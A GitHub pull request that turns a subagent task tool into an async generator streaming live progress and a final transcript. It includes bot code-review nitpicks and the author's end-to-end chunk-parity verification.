feat(task-tool): live subagent progress + transcript (cutover Bundle B)

[sweetmantech]

Summary

Second cutover bundle. Converts taskTool.execute from a synchronous-return function to an async function* that yields progress chunks throughout the subagent run, then a final chunk carrying the full subagent transcript. Mirrors open-agents' packages/agent/tools/task.ts so sandbox.recoupable.com's "Subagent · X tools · Y tokens" live progress card and expandable transcript render correctly when cut over to api's /api/chat/workflow.

Yielded chunk sequence (mirrors open-agents)

1. Initial: {toolCallCount: 0, startedAt, modelId} — stable timestamp for elapsed-time UI
2. Per tool-call part: {pending: {name, input}, toolCallCount, usage, startedAt, modelId}
3. Per finish-step part: {pending (sticky), toolCallCount, usage (accumulated), startedAt, modelId} — sticky pending prevents UI flicker between steps
4. Final: {final: ModelMessage[], toolCallCount, usage, startedAt, modelId} — full subagent transcript

toModelOutput

Extracts the last assistant text part from output.final for the parent agent's context — same logic as open-agents.

New files (SRP)

• lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps addLanguageModelUsage to handle undefined inputs without introducing zero-tokens placeholders

Drive-by fix

askUserQuestionTool.toModelOutput was still using the old (output) => signature from the ai@6.0.0-beta.122 era. The current SDK (ai@^6.0.190) passes ({ toolCallId, input, output }). Updated to ({ output }) => so the function actually receives the user's answers at runtime — previously it was falling through to the generic "User responded to questions." path regardless of input. Tests updated.

Cutover roadmap

#	Bundle	This PR	Notes
1	C per-message cost/usage	✅ merged	#592 / #593
2	B subagent live progress + transcript	✅ this PR
3	A.7+9 real cwd + contextLimit
4	A.6 Anthropic prompt cache control
5	A.4 forward Privy JWT as recoupAccessToken

Test plan

• 25 new/updated unit tests across 3 files (12 taskTool + 4 sumLanguageModelUsage + 9 askUserQuestion)
• Full suite 3114/3114 pass; lint clean
• E2E on preview: confirm task tool emits multiple tool-output-available chunks (one per yield), with pending, usage, and final: [...] shapes matching open-agents production
• Cross-validate chunk shape against sandbox.recoupable.com capture

🤖 Generated with Claude Code

---

Summary by cubic

Streams live subagent progress and final transcript from taskTool by converting execute to an async generator, matching open-agents so the UI shows the “Subagent · X tools · Y tokens” card and an expandable transcript. Also fixes askUserQuestionTool.toModelOutput to accept ({ output }) per the current ai SDK.

• New Features

  • taskTool.execute now yields:
    • Initial: { toolCallCount: 0, startedAt, modelId }
    • On each tool-call: { pending: { name, input }, toolCallCount, usage, startedAt, modelId }
    • On each finish-step: same with accumulated usage and sticky pending
    • Final: { final: ModelMessage[], toolCallCount, usage, startedAt, modelId }
  • Added sumLanguageModelUsage to safely combine optional usage values.
  • taskTool.toModelOutput extracts the last assistant text from output.final.

• Bug Fixes

  • askUserQuestionTool.toModelOutput now uses ({ output }) (current ai@^6.0.190 shape) so user answers are parsed correctly.

^{Written for commit ce72f46. Summary will update on new commits. Review in cubic}

Summary by CodeRabbit

• New Features

  • Task execution now streams live progress updates with real-time metrics including tool call counts, token usage, and execution timing.

• Refactor

  • Improved tool output parameter handling and token usage aggregation across agent tools.

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Actions	Updated (UTC)
api	Ready	Preview	May 22, 2026 12:12am

[coderabbitai]

📝 Walkthrough

Walkthrough

This PR refactors task tool execution from completion-based to streaming async generator semantics, introducing token usage aggregation across progress events and updating the tool output interface. Task execution now yields structured progress chunks with cumulative tool counts and aggregated language model usage, culminating in a final chunk containing the full transcript and metadata.

Changes

Task Tool Streaming Refactor

Layer / File(s)	Summary
Language model usage aggregation utility lib/agent/messageMetadata/sumLanguageModelUsage.ts	New sumLanguageModelUsage function conditionally merges optional LanguageModelUsage objects, handling both-present, single-present, and all-undefined cases.
Task tool streaming schemas and types lib/agent/tools/taskTool.ts	Zod schemas define progress chunks (taskPendingToolCallSchema) and final output envelope (taskOutputSchema); exported types (TaskPendingToolCall, TaskToolOutput) document the streaming protocol; imports align to new dependencies; documentation reflects streaming behavior.
Task tool async generator streaming implementation lib/agent/tools/taskTool.ts	execute converts to async generator yielding progress on each subagent tool-call and finish-step event; yields initial chunk with toolCallCount and startedAt, updates on each event while aggregating token usage via sumLanguageModelUsage, and final chunk containing transcript, usage totals, tool count, and model metadata.
Task tool output to model conversion lib/agent/tools/taskTool.ts	New toModelOutput function reads the final streamed chunk, extracts the last assistant message part from the transcript, and returns it as parent-model output with a fallback string.
Tool interface pattern adoption lib/agent/tools/askUserQuestionTool.ts	toModelOutput parameter changes from direct output argument to destructured { output } to match the new tool output pattern.

Sequence Diagram(s)

sequenceDiagram
  participant TaskExecute as Task.execute
  participant StreamText as streamText
  participant ToolEvents as Tool Events
  participant OutputStream as Output Stream
  TaskExecute->>StreamText: initialize with prompt
  StreamText->>ToolEvents: emit tool-call
  TaskExecute->>OutputStream: yield progress (toolCallCount, startedAt)
  ToolEvents->>TaskExecute: finish-step event
  TaskExecute->>TaskExecute: sumLanguageModelUsage (aggregate)
  TaskExecute->>OutputStream: yield update (incremented toolCallCount)
  StreamText->>ToolEvents: execution complete
  TaskExecute->>OutputStream: yield final (messages, usage, metadata)

Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~22 minutes

Possibly related PRs

• recoupable/api#589: Directly implements the streaming async generator refactor and parameter signature updates to these same tools.
• recoupable/api#592: Introduces addLanguageModelUsage for per-message usage accumulation, which pairs with this PR's new sumLanguageModelUsage for streaming token aggregation.

Suggested reviewers

• cubic-dev-ai

Poem

🌊 Tasks now flow like rivers deep,
Yielding progress as they sweep,
Usage tallied, step by step,
Streams of data, cleanly kept. ✨

🚥 Pre-merge checks | ✅ 3

✅ Passed checks (3 passed)

Check name	Status	Explanation
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Solid & Clean Code	✅ Passed	PR adheres to SOLID: focused functions, code wrapped not modified, no duplication, simple implementations, clear naming and documentation.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

✨ Finishing Touches

📝 Generate docstrings

• Create stacked PR
• Commit on current branch

🧪 Generate unit tests (beta)

• Create PR with unit tests
• Commit unit tests in branch feat/api-chat-workflow-subagent-progress

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[coderabbitai]

🧹 Nitpick comments (3)

lib/agent/tools/askUserQuestionTool.ts (1)

60-87: ⚡ Quick win

Split toModelOutput into focused format helpers.

This function is above the 20-line threshold and currently combines branching with output serialization. Extracting small formatters will keep it easier to evolve safely.

♻️ Suggested refactor sketch

+function formatDeclinedResponse() {
+  return {
+    type: "text" as const,
+    value:
+      "User declined to answer questions. You should continue without this information or ask in a different way.",
+  };
+}
+
+function formatAnswersResponse(answers: Record<string, string | string[]>) {
+  const formatted = Object.entries(answers)
+    .map(([question, answer]) => `"${question}"="${Array.isArray(answer) ? answer.join(", ") : answer}"`)
+    .join(", ");
+  return {
+    type: "text" as const,
+    value: `User has answered your questions: ${formatted}. You can now continue with the user's answers in mind.`,
+  };
+}

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Flag functions longer than 20 lines or classes with >200 lines" and "Keep functions small and focused".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/askUserQuestionTool.ts` around lines 60 - 87, The
toModelOutput function is overlong and mixes branching with string
serialization; extract focused formatter helpers (e.g., formatNoResponse,
formatDeclined, formatAnswers, formatGenericResponse) and call them from
toModelOutput to keep the logic under 20 lines; locate the toModelOutput export
in askUserQuestionTool.ts and replace the inline branches with calls to these
new helper functions (each returns the {type:"text", value:...} object), ensure
formatAnswers handles array vs scalar answers and joins as before, and keep the
same return values and messages to preserve behavior.

lib/agent/tools/taskTool.ts (2)

99-153: 🏗️ Heavy lift

Refactor execute into smaller helpers to keep it maintainable.

This generator now mixes setup, stream event handling, state mutation, and finalization in one long function. Splitting these concerns into helper functions will improve readability and testability.

♻️ Suggested refactor sketch

+function buildInitialChunk(startedAt: number, modelId: string | undefined) {
+  return { toolCallCount: 0, startedAt, modelId };
+}
+
+function buildProgressChunk(args: {
+  pending: TaskPendingToolCall | undefined;
+  toolCallCount: number;
+  usage: LanguageModelUsage | undefined;
+  startedAt: number;
+  modelId: string | undefined;
+}) {
+  return args;
+}
+
+function buildFinalChunk(args: {
+  final: ModelMessage[];
+  toolCallCount: number;
+  usage: LanguageModelUsage | undefined;
+  startedAt: number;
+  modelId: string | undefined;
+}) {
+  return args;
+}

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Flag functions longer than 20 lines or classes with >200 lines" and "Keep functions small and focused".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/taskTool.ts` around lines 99 - 153, The execute generator is
doing setup, streaming handling, state mutation and finalization in one long
function; refactor by extracting: 1) a setup helper (e.g., prepareSubagent or
buildSubagentRequest) that computes subagentModel/subagentModelId, builds the
system/prompt, calls streamText and returns result/startedAt; 2) an
emitInitialChunk helper that yields the initial {toolCallCount, startedAt,
modelId}; 3) a handleStreamPart helper that accepts a stream part and mutable
state (toolCallCount, pending: TaskPendingToolCall | undefined, usage:
LanguageModelUsage | undefined) and returns the updated state and any yield
object (handle "tool-call" and "finish-step" by updating toolCallCount, pending,
usage using sumLanguageModelUsage and preserving pending across steps); and 4) a
finalizeResponse helper that awaits result.response/totalUsage and returns the
final yield payload; then rewrite execute to call these small helpers in
sequence while iterating result.fullStream. Ensure helpers reference existing
symbols (execute, streamText, result.fullStream, TaskPendingToolCall,
sumLanguageModelUsage, SUBAGENT_STEP_LIMIT) and preserve exact yield semantics
and ordering.

---

160-174: ⚡ Quick win

Extract the repeated fallback output into a constant.

The same fallback payload is repeated multiple times. Centralizing it avoids drift and makes intent clearer.

🧩 Suggested change

+const TASK_COMPLETED_FALLBACK = { type: "text", value: "Task completed." } as const;
...
   toModelOutput: ({ output }) => {
     const messages = output?.final;
-    if (!messages) return { type: "text", value: "Task completed." };
+    if (!messages) return TASK_COMPLETED_FALLBACK;
...
-    if (!content) return { type: "text", value: "Task completed." };
+    if (!content) return TASK_COMPLETED_FALLBACK;
...
-    if (!lastTextPart) return { type: "text", value: "Task completed." };
+    if (!lastTextPart) return TASK_COMPLETED_FALLBACK;

As per coding guidelines, **/*.{js,ts,tsx,jsx,py,java,cs,go,rb,php}: "Use constants for repeated values".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@lib/agent/tools/taskTool.ts` around lines 160 - 174, The toModelOutput
handler repeats the same fallback object several times; define a single constant
(e.g., const TASK_COMPLETED_OUTPUT = { type: "text", value: "Task completed." })
at the top of the module or just above toModelOutput and replace every repeated
return that currently returns { type: "text", value: "Task completed." } with
returning TASK_COMPLETED_OUTPUT; update references inside toModelOutput
(messages, lastAssistant, content, lastTextPart checks) to use that constant so
the fallback is centralized and consistent.

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@lib/agent/tools/askUserQuestionTool.ts`:
- Around line 60-87: The toModelOutput function is overlong and mixes branching
with string serialization; extract focused formatter helpers (e.g.,
formatNoResponse, formatDeclined, formatAnswers, formatGenericResponse) and call
them from toModelOutput to keep the logic under 20 lines; locate the
toModelOutput export in askUserQuestionTool.ts and replace the inline branches
with calls to these new helper functions (each returns the {type:"text",
value:...} object), ensure formatAnswers handles array vs scalar answers and
joins as before, and keep the same return values and messages to preserve
behavior.

In `@lib/agent/tools/taskTool.ts`:
- Around line 99-153: The execute generator is doing setup, streaming handling,
state mutation and finalization in one long function; refactor by extracting: 1)
a setup helper (e.g., prepareSubagent or buildSubagentRequest) that computes
subagentModel/subagentModelId, builds the system/prompt, calls streamText and
returns result/startedAt; 2) an emitInitialChunk helper that yields the initial
{toolCallCount, startedAt, modelId}; 3) a handleStreamPart helper that accepts a
stream part and mutable state (toolCallCount, pending: TaskPendingToolCall |
undefined, usage: LanguageModelUsage | undefined) and returns the updated state
and any yield object (handle "tool-call" and "finish-step" by updating
toolCallCount, pending, usage using sumLanguageModelUsage and preserving pending
across steps); and 4) a finalizeResponse helper that awaits
result.response/totalUsage and returns the final yield payload; then rewrite
execute to call these small helpers in sequence while iterating
result.fullStream. Ensure helpers reference existing symbols (execute,
streamText, result.fullStream, TaskPendingToolCall, sumLanguageModelUsage,
SUBAGENT_STEP_LIMIT) and preserve exact yield semantics and ordering.
- Around line 160-174: The toModelOutput handler repeats the same fallback
object several times; define a single constant (e.g., const
TASK_COMPLETED_OUTPUT = { type: "text", value: "Task completed." }) at the top
of the module or just above toModelOutput and replace every repeated return that
currently returns { type: "text", value: "Task completed." } with returning
TASK_COMPLETED_OUTPUT; update references inside toModelOutput (messages,
lastAssistant, content, lastTextPart checks) to use that constant so the
fallback is centralized and consistent.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: d3f9c6ba-529f-4617-a4ff-b13c6fa50316

📥 Commits

Reviewing files that changed from the base of the PR and between bfb4595 and ce72f46.

⛔ Files ignored due to path filters (3)

• lib/agent/messageMetadata/__tests__/sumLanguageModelUsage.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
• lib/agent/tools/__tests__/askUserQuestionTool.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
• lib/agent/tools/__tests__/taskTool.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**

📒 Files selected for processing (3)

• lib/agent/messageMetadata/sumLanguageModelUsage.ts
• lib/agent/tools/askUserQuestionTool.ts
• lib/agent/tools/taskTool.ts

[cubic-dev-ai]

1 issue found across 6 files

Confidence score: 5/5

• This looks low risk to merge because the only flagged item is a maintainability/style concern, not a functional defect or regression risk.
• The issue in lib/agent/tools/__tests__/taskTool.test.ts is a test-file length violation (over the 100-line limit), which mainly affects readability and long-term upkeep.
• Pay close attention to lib/agent/tools/__tests__/taskTool.test.ts - consider splitting the test into smaller sections to align with the repository’s line-limit convention.

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name="lib/agent/tools/__tests__/taskTool.test.ts">

<violation number="1" location="lib/agent/tools/__tests__/taskTool.test.ts:59">
P2: Custom agent: **Enforce Clear Code Style and Maintainability Practices**

Test file exceeds the repository’s 100-line limit.</violation>
</file>

Architecture diagram

sequenceDiagram
    participant Parent as Parent Agent
    participant Task as taskTool.execute
    participant Stream as streamText (subagent)
    participant SubTools as Subagent Tool Set
    participant UI as Chat UI

    Note over Parent,UI: Runtime flow when parent agent invokes task tool

    Parent->>Task: invoke tool with { task, instructions }
    Task->>Task: getSubagentModel(experimental_context)
    Task->>Stream: call streamText(...) with system prompt + tools

    Task-->>Parent: yield { toolCallCount:0, startedAt, modelId }

    loop For each part in fullStream
        Stream->>Stream: produce next part
        alt part type === "tool-call"
            Task->>Task: increment toolCallCount, set pending tool info
            Task-->>Parent: yield { pending, toolCallCount, usage, startedAt, modelId }
            Stream->>SubTools: execute tool
            SubTools-->>Stream: tool result
        else part type === "finish-step"
            Task->>Task: accumulate usage via sumLanguageModelUsage
            Task-->>Parent: yield { pending(sticky), toolCallCount, usage, startedAt, modelId }
        end
    end

    Stream->>Stream: await result.response
    Task->>Task: compute finalUsage from accumulated usage or totalUsage
    Task-->>Parent: yield { final: response.messages, usage, toolCallCount, startedAt, modelId }

    alt SDK calls toModelOutput
        Parent->>Task: toModelOutput({ output })
        Task->>Task: extract last assistant text from output.final
        Task-->>Parent: return { type:"text", value:summary }
    end

    Note over UI: Live progress card renders from yielded chunks
    UI->>UI: "Subagent · X tools · Y tokens" card updates on each yield
    UI->>UI: Expandable transcript renders when final chunk received

Loading

<sub>Reply with feedback, questions, or to request a fix.

Re-trigger cubic</sub>

[cubic-dev-ai]

P2: Custom agent: Enforce Clear Code Style and Maintainability Practices

Test file exceeds the repository’s 100-line limit.

Prompt for AI agents

Check if this issue is valid — if so, understand the root cause and fix it. At lib/agent/tools/__tests__/taskTool.test.ts, line 59:

<comment>Test file exceeds the repository’s 100-line limit.</comment>

<file context>
@@ -12,79 +12,176 @@ vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({
-    // system prompt contains task + instructions so the subagent knows its scope
-    expect(args.system).toEqual(expect.stringContaining("Find the largest .ts file"));
-    expect(args.system).toEqual(expect.stringContaining("Use glob and stat"));
+describe("taskTool.execute (async generator)", () => {
+  it("yields an initial chunk with toolCallCount=0 + startedAt + modelId before the subagent does any work", async () => {
+    vi.mocked(streamText).mockReturnValue(makeStreamResult({}) as never);
</file context>

[sweetmantech]

E2E verified + byte-compatible with open-agents ✅

Preview: https://api-q22ol7soo-recoup.vercel.app (commit ce72f46d)

Provisioned a sandbox against vercel/next.js, then sent a task-delegation prompt. The subagent ran one bash call internally, then summarized. Compared the resulting tool-output-available chunk sequence to a fresh capture from open-agents production (sandbox.recoupable.com).

Yield-sequence parity

Yield #	api preview keys	open-agents prod keys	Match
1	[modelId, startedAt, toolCallCount]	[modelId, startedAt, toolCallCount]	✅
2	[modelId, pending, startedAt, toolCallCount]	[modelId, pending, startedAt, toolCallCount]	✅
3	[modelId, pending, startedAt, toolCallCount, usage]	[modelId, pending, startedAt, toolCallCount, usage]	✅
4	[modelId, pending, startedAt, toolCallCount, usage]	[modelId, pending, startedAt, toolCallCount, usage]	✅
5	[final, modelId, startedAt, toolCallCount, usage]	[final, modelId, startedAt, toolCallCount, usage]	✅
6	[final, modelId, startedAt, toolCallCount, usage]	[final, modelId, startedAt, toolCallCount, usage]	✅

Both backends emit exactly 6 tool-output-available chunks for the same workload (1 subagent tool call, 2 finish-steps). The AI SDK appears to emit the last yield twice (once during the stream, once as the "settled" output) — same behavior on both sides.

Sample yields from api preview

#1 initial:    { toolCallCount: 0, startedAt: 1779408918984, modelId: "anthropic/claude-haiku-4.5" }
#2 tool-call:  { ..., pending: { name: "bash", input: { command: "ls -la" } }, toolCallCount: 1 }
#3 step 1:     { ..., usage: { inputTokens: 3421, outputTokens: 74 }, pending: <sticky> }
#4 step 2:     { ..., usage: { inputTokens: 9739, outputTokens: 424 }, pending: <sticky> }
#5 final:      { final: [3 messages], usage: { ... }, ... }
#6 final dup:  same as #5

toModelOutput validated end-to-end

The parent agent's final text relayed the subagent's summary correctly:

"The workspace is a large monorepo containing Rust and Node.js projects with directories like apps, crates, packages, and scripts alongside various configuration files."

This proves the toModelOutput: ({ output }) => { ... output.final ... } extraction pulled the last assistant text from the subagent's transcript and made it available to the parent — same logic open-agents uses.

Cutover invariant met

sandbox.recoupable.com's "Subagent · X tools · Y tokens" live card + expandable transcript will render against api's /api/chat/workflow without any UI-side change. The chunk shapes are identical field-for-field.

Ready to merge.